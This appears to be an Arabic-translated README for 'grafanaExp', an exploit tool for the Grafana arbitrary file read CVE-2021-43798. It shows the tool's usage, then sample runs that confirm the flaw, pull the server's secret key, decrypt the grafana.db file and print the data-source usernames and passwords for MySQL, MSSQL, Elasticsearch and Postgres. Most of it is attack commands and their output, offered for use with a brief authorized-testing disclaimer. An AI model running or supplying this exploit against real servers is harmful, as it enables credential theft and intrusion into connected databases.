
يستغل ثغرة قراءة الملفات العشوائية CVE-2021-43798 في grafan، ليكتشف تلقائيًا وجود الثغرة والمكونات الإضافية (plugins) الموجودة، ويستخرج المفاتيح، ويفك تشفير ملف db الخاص بالخادم (server)، ويُخرج معلومات data_sourrce.
يستغل ثغرة CVE-2021-43798 لقراءة الملفات التعسفية في Grafana، ويكتشف تلقائيًا ما إذا كانت الثغرة موجودة، والمكوّنات الإضافية (plugins) المتوفرة، ويستخرج المفتاح السري، ويفك تشفير ملف قاعدة البيانات (db) على الخادم، ويخرِج معلومات data_sourrce.
يوفر وظيفتي exp و decode.
➜ ./grafanaExp -h
NAME:
grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.
USAGE:
grafanaExp [global options] command [command options] [arguments...]
AUTHOR:
A&D-Team
COMMANDS:
exp -u [url] -p [plugin] -c [config] -d [db] -k [key]
decode decode -f [dbfile] -k [key]
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help (default: false)
يكتشف تلقائيًا ما إذا كانت الثغرة موجودة، والمكوّنات الإضافية (plugins) المتوفرة، ويستخرج المفتاح السري، ويفك تشفير ملف قاعدة البيانات (db) على الخادم، ويخرِج معلومات data_souce:
➜ ./grafanaExp exp -u http://localhost:3000/
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!
عندما يكون ملف قاعدة البيانات (DB) كبيرًا جدًا، يمكنك تنزيله إلى جهازك المحلي أولاً ثم فك تشفيره محليًا:
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
يجب استخدام هذا البرنامج فقط لأغراض اختبار الأمان والبحث المصرّح بها.